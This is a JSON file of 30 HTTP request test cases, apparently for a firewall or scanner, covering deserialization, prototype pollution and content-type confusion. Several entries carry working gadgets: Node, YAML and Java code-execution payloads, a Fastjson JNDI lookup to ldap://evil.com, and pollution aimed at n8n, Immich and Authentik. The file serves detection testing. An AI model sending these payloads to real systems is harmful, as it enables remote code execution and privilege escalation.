[
  {
      "id": "DESER-GADGET-001",
      "payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"rce\":\"_$$ND_FUNC$$_function(){require('child_process').exec('ls')}()\"}",
      "tags": [
        "deserialization",
        "gadget",
        "node-serialize",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Node.js node-serialize RCE gadget marker",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-002",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/xml\r\n\r\n<?xml version=\"1.0\"?><root><name>test</name></root>",
      "tags": [
        "gadget",
        "content-type-confusion"
    ],
      "expected_block": false,
      "severity_hint": "Medium",
      "notes": "XML body with JSON Content-Type (no attack, testing parser confusion)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-003",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/xml\r\n\r\n{\"test\":\"json\"}",
      "tags": [
        "gadget",
        "content-type-confusion"
    ],
      "expected_block": false,
      "severity_hint": "Medium",
      "notes": "JSON body with XML Content-Type (reverse confusion)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-004",
      "payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: text/plain\r\n\r\n{\"__proto__\":{\"admin\":true}}",
      "tags": [
        "gadget",
        "content-type-confusion"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Prototype pollution with text/plain Content-Type",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-005",
      "payload": "POST /api/yaml HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/apply:os.system ['ls']",
      "tags": [
        "gadget",
        "yaml-deserialization",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "YAML deserialization with Python gadget (PyYAML unsafe load)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-006",
      "payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/new:subprocess.Popen ['ls']",
      "tags": [
        "gadget",
        "yaml-deserialization",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "YAML subprocess.Popen gadget",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-007",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-yaml\r\n\r\n!!python/object/apply:eval ['__import__(\"os\").system(\"ls\")']",
      "tags": [
        "gadget",
        "yaml-deserialization"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "YAML eval gadget with os.system",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-008",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/java-serialized-object\r\n\r\nrO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAmXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAA",
      "tags": [
        "gadget",
        "java-serialization",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Java serialized object (CommonsCollections gadget marker)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-009",
      "payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-java-serialized-object\r\n\r\nac ed 00 05 73 72 00 11 6a 61 76 61 2e 75 74 69 6c 2e 48 61 73 68 4d 61 70",
      "tags": [
        "gadget",
        "java-serialization"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Java HashMap serialization magic bytes (ac ed 00 05)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-010",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/x-php-serialized\r\n\r\nO:8:\"stdClass\":1:{s:4:\"data\";s:5:\"value\";}",
      "tags": [
        "gadget",
        "php-serialization"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "PHP serialized object (harmless stdClass)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-011",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\nO:10:\"PentesterLab\":1:{s:4:\"file\";s:9:\"/etc/passwd\";}",
      "tags": [
        "gadget",
        "php-object-injection",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "PHP object injection with file property (gadget marker)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-012",
      "payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\nO:8:\"Exploit\":2:{s:7:\"command\";s:2:\"ls\";s:4:\"exec\";b:1;}",
      "tags": [
        "gadget",
        "php-object-injection",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "PHP object with command property (RCE gadget marker)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-013",
      "payload": "POST /api/user HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@type\":\"java.net.Inet4Address\",\"val\":\"127.0.0.1\"}",
      "tags": [
        "gadget",
        "fastjson-deserialization"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Fastjson deserialization gadget (@type Inet4Address)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-014",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://evil.com/Exploit\"}",
      "tags": [
        "gadget",
        "fastjson-deserialization",
        "jndi-injection",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Fastjson JNDI injection via JdbcRowSetImpl",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-015",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"@c\":\"com.example.Exploit\",\"cmd\":\"calc\"}",
      "tags": [
        "gadget",
        "jackson-polymorphic"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Jackson polymorphic deserialization (@c type hint)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-016",
      "payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"base64payload\"]}]",
      "tags": [
        "gadget",
        "jackson-gadget",
        "templatesimpl"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Jackson TemplatesImpl gadget (Java code execution)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-017",
      "payload": "POST /api/import HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework\",\"MethodName\":\"Start\"}",
      "tags": [
        "gadget",
        "dotnet-deserialization",
        "critical"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": ".NET ObjectDataProvider deserialization gadget",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-018",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"__type\":\"System.IO.FileInfo\",\"FileName\":\"/etc/passwd\"}",
      "tags": [
        "gadget",
        "dotnet-deserialization"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": ".NET FileInfo type hint (file access gadget)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-019",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"ruby/object\":\"Gem::Specification\",\"data\":\"malicious_code\"}",
      "tags": [
        "gadget",
        "ruby-marshal"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Ruby Marshal gadget (Gem::Specification abuse)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-020",
      "payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"ruby/object\":\"Gem::Installer\",\"spec\":\"malicious_spec\"}",
      "tags": [
        "gadget",
        "ruby-marshal"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Ruby Gem::Installer gadget",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-021",
      "payload": "POST /api/user HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json; charset=utf-16\r\n\r\n{\"test\":\"value\"}",
      "tags": [
        "gadget",
        "charset-confusion"
    ],
      "expected_block": false,
      "severity_hint": "Medium",
      "notes": "UTF-16 charset confusion (parser bypass attempt)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-022",
      "payload": "POST /api/data HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json; boundary=----Boundary\r\n\r\n{\"test\":\"value\"}",
      "tags": [
        "gadget",
        "boundary-confusion"
    ],
      "expected_block": false,
      "severity_hint": "Low",
      "notes": "Invalid boundary parameter in JSON Content-Type",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-023",
      "payload": "POST /api/settings HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\nContent-Type: application/xml\r\n\r\n{\"test\":\"value\"}",
      "tags": [
        "gadget",
        "duplicate-content-type"
    ],
      "expected_block": false,
      "severity_hint": "Medium",
      "notes": "Duplicate Content-Type headers (parser confusion)",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-024",
      "payload": "POST /api/config HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\nX-Content-Type-Options: nosniff\r\n\r\n<xml><data>test</data></xml>",
      "tags": [
        "gadget",
        "mime-sniffing"
    ],
      "expected_block": false,
      "severity_hint": "Medium",
      "notes": "XML body with JSON Content-Type and nosniff",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-025",
      "payload": "POST /api/workflow HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"nodes\":[{\"type\":\"function\",\"code\":\"return {json: {polluted: true}};\"}]}",
      "tags": [
        "gadget",
        "n8n-workflow",
        "code-injection"
    ],
      "expected_block": true,
      "severity_hint": "High",
      "notes": "n8n workflow with function node containing pollution",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-026",
      "payload": "POST /api/execute HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"expression\":\"{{$json.__proto__.admin = true}}\"}",
      "tags": [
        "gadget",
        "n8n-expression",
        "template-injection"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "n8n expression with __proto__ pollution",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-027",
      "payload": "POST /api/photos/upload HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"metadata\":{\"__proto__\":{\"isPublic\":true}}}",
      "tags": [
        "gadget",
        "immich-metadata"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Immich photo metadata pollution",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-028",
      "payload": "POST /api/albums HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"settings\":{\"constructor\":{\"prototype\":{\"shared\":true}}}}",
      "tags": [
        "gadget",
        "immich-album"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Immich album settings pollution via constructor",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-029",
      "payload": "POST /api/flows HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"stages\":[{\"__proto__\":{\"bypass\":true}}]}",
      "tags": [
        "gadget",
        "authentik-flow"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Authentik flow stage pollution",
      "category": "Deserialization"
  },
  {
      "id": "DESER-GADGET-030",
      "payload": "POST /api/policies HTTP/1.1\r\nHost: target.com\r\nContent-Type: application/json\r\n\r\n{\"bindings\":[{\"__proto__\":{\"enabled\":false}}]}",
      "tags": [
        "gadget",
        "authentik-policy"
    ],
      "expected_block": true,
      "severity_hint": "Critical",
      "notes": "Authentik policy binding pollution to disable security",
      "category": "Deserialization"
  }
]